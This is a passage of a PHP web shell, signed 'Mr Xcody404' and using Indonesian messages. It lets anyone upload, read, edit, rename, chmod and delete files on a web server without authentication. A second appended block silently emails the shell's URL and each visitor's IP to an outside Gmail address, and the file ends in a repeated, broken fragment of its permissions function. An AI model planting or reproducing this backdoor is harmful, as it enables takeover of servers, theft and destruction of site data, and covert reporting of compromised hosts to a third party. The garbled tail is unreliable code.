echo '<font color="green">Upload Berhasil</font><br />';
}else{
echo '<font color="red">Upload Gagal</font><br/>';
}
}
echo '<form enctype="multipart/form-data" method="POST">
<font color="white">File Upload :</font> <input type="file" name="file" />
<input type="submit" value="upload" />
</form>
</td></tr>';
if(isset($_GET['filesrc'])){
echo "<tr><td>Current < : ";
echo $_GET['filesrc'];
echo '</tr></td></table><br />';
echo('<pre>'.htmlspecialchars(file_get_contents($_GET['filesrc'])).'</pre>');
}elseif(isset($_GET['option']) && $_POST['opt'] != 'delete'){
echo '</table><br /><center>'.$_POST['path'].'<br /><br />';
if($_POST['opt'] == 'chmod'){
if(isset($_POST['perm'])){
if(chmod($_POST['path'],$_POST['perm'])){
echo '<font color="green">Change Permission Berhasil</font><br/>';
}else{
echo '<font color="red">Change Permission Gagal</font><br />';
}
}
echo '<form method="POST">
Permission : <input name="perm" type="text" size="4" value="'.substr(sprintf('%o', fileperms($_POST['path'])), -4).'" />
<input type="hidden" name="path" value="'.$_POST['path'].'">
<input type="hidden" name="opt" value="chmod">
<input type="submit" value="Go" />
</form>';
}elseif($_POST['opt'] == 'rename'){
if(isset($_POST['newname'])){
if(rename($_POST['path'],$path.'/'.$_POST['newname'])){
echo '<font color="green">Ganti Nama Berhasil</font><br/>';
}else{
echo '<font color="red">Ganti Nama Gagal</font><br />';
}
$_POST['name'] = $_POST['newname'];
}
echo '<form method="POST">
New Name : <input name="newname" type="text" size="20" value="'.$_POST['name'].'" />
<input type="hidden" name="path" value="'.$_POST['path'].'">
<input type="hidden" name="opt" value="rename">
<input type="submit" value="Go" />
</form>';
}elseif($_POST['opt'] == 'edit'){
if(isset($_POST['src'])){
$fp = fopen($_POST['path'],'w');
if(fwrite($fp,$_POST['src'])){
echo '<font color="green">Berhasil Edit File</font><br/>';
}else{
echo '<font color="red">Gagal Edit File</font><br/>';
}
fclose($fp);
}
echo '<form method="POST">
<textarea cols=80 rows=20 name="src">'.htmlspecialchars(file_get_contents($_POST['path'])).'</textarea><br />
<input type="hidden" name="path" value="'.$_POST['path'].'">
<input type="hidden" name="opt" value="edit">
<input type="submit" value="Save" />
</form>';
}
echo '</center>';
}else{
echo '</table><br/><center>';
if(isset($_GET['option']) && $_POST['opt'] == 'delete'){
if($_POST['type'] == 'dir'){
if(rmdir($_POST['path'])){
echo '<font color="green">Directory Terhapus</font><br/>';
}else{
echo '<font color="red">Directory Gagal Terhapus                                                                                                                                                                                                                                                                                             </font><br/>';
}
}elseif($_POST['type'] == 'file'){
if(unlink($_POST['path'])){
echo '<font color="green">File Terhapus</font><br/>';
}else{
echo '<font color="red">File Gagal Dihapus</font><br/>';
}
}
}
echo '</center>';
$scandir = scandir($path);
echo '<div id="content"><table width="700" border="0" cellpadding="3" cellspacing="1" align="center">
<tr class="first">
<td><center>Name</peller></center></td>
<td><center>Size</peller></center></td>
<td><center>Permission</peller></center></td>
<td><center>Modify</peller></center></td>
</tr>';

foreach($scandir as $dir){
if(!is_dir($path.'/'.$dir) || $dir == '.' || $dir == '..') continue;
echo '<tr>
<td><a href="?path='.$path.'/'.$dir.'">'.$dir.'</a></td>
<td><center>--</center></td>
<td><center>';
if(is_writable($path.'/'.$dir)) echo '<font color="green">';
elseif(!is_readable($path.'/'.$dir)) echo '<font color="red">';
echo perms($path.'/'.$dir);
if(is_writable($path.'/'.$dir) || !is_readable($path.'/'.$dir)) echo '</font>';

echo '</center></td>
<td><center><form method="POST" action="?option&path='.$path.'">
<select name="opt">
<option value="">Select</option>
<option value="delete">Delete</option>
<option value="chmod">Chmod</option>
<option value="rename">Rename</option>
</select>
<input type="hidden" name="type" value="dir">
<input type="hidden" name="name" value="'.$dir.'">
<input type="hidden" name="path" value="'.$path.'/'.$dir.'">
<input type="submit" value=">">
</form></center></td>
</tr>';
}
echo '<tr class="first"><td></td><td></td><td></td><td></td></tr>';
foreach($scandir as $file){
if(!is_file($path.'/'.$file)) continue;
$size = filesize($path.'/'.$file)/1024;
$size = round($size,3);
if($size >= 1024){
$size = round($size/1024,2).' MB';
}else{
$size = $size.' KB';
}

echo '<tr>
<td><a href="?filesrc='.$path.'/'.$file.'&path='.$path.'">'.$file.'</a></td>
<td><center>'.$size.'</center></td>
<td><center>';
if(is_writable($path.'/'.$file)) echo '<font color="green">';
elseif(!is_readable($path.'/'.$file)) echo '<font color="red">';
echo perms($path.'/'.$file);
if(is_writable($path.'/'.$file) || !is_readable($path.'/'.$file)) echo '</font>';
echo '</center></td>
<td><center><form method="POST" action="?option&path='.$path.'">
<select name="opt">
<option value="">Select</option>
<option value="delete">Delete</option>
<option value="chmod">Chmod</option>
<option value="rename">Rename</option>
<option value="edit">Edit</option>
</select>
<input type="hidden" name="type" value="file">
<input type="hidden" name="name" value="'.$file.'">
<input type="hidden" name="path" value="'.$path.'/'.$file.'">
<input type="submit" value=">">
</form></center></td>
</tr>';
}
echo '</table>
</div>';
}
echo '<center><br/>Mr Xcody404</center>
</body>
</html>';
function perms($file){
$perms = fileperms($file);

if (($perms & 0xC000) == 0xC000) {
// Socket
$info = 's';
} elseif (($perms & 0xA000) == 0xA000) {
// Symbolic Link
$info = 'l';
} elseif (($perms & 0x8000) == 0x8000) {
// Regular
$info = '-';
} elseif (($perms & 0x6000) == 0x6000) {
// Block special
$info = 'b';
} elseif (($perms & 0x4000) == 0x4000) {
// Directory
$info = 'd';
} elseif (($perms & 0x2000) == 0x2000) {
// Character special
$info = 'c';
} elseif (($perms & 0x1000) == 0x1000) {
// FIFO pipe
$info = 'p';
} else {
// Unknown
$info = 'u';
}

// Owner
$info .= (($perms & 0x0100) ? 'r' : '-');
$info .= (($perms & 0x0080) ? 'w' : '-');
$info .= (($perms & 0x0040) ?
(($perms & 0x0800) ? 's' : 'x' ) :
(($perms & 0x0800) ? 'S' : '-'));

// Group
$info .= (($perms & 0x0020) ? 'r' : '-');
$info .= (($perms & 0x0010) ? 'w' : '-');
$info .= (($perms & 0x0008) ?
(($perms & 0x0400) ? 's' : 'x' ) :
(($perms & 0x0400) ? 'S' : '-'));

// World
$info .= (($perms & 0x0004) ? 'r' : '-');
$info .= (($perms & 0x0002) ? 'w' : '-');
$info .= (($perms & 0x0001) ?
(($perms & 0x0200) ? 't' : 'x' ) :
(($perms & 0x0200) ? 'T' : '-'));

return $info;
}
?>
<?php
@ini_set('output_buffering', 0);
@ini_set('display_errors', 0);
set_time_limit(0);
ini_set('memory_limit', '64M');
header('Content-Type: text/html; charset=UTF-8');
$tujuanmail = 'cyberteam4103@gmail.com';
$x_path = "http://" . $_SERVER['SERVER_NAME'] . $_SERVER['REQUEST_URI'];
$pesan_alert = "akses $x_path :p *IP Address : [ " . $_SERVER['REMOTE_ADDR'] . " ]";
mail($tujuanmail, "LOGGER", $pesan_alert, "[ " . $_SERVER['REMOTE_ADDR'] . " ]");
?>(($perms & 0x0080) ? 'w' : '-');
$info .= (($perms & 0x0040) ?
(($perms & 0x0800) ? 's' : 'x' ) :
(($perms & 0x0800) ? 'S' : '-'));

// Group
$info .= (($perms & 0x0020) ? 'r' : '-');
$info .= (($perms & 0x0010) ? 'w' : '-');
$info .= (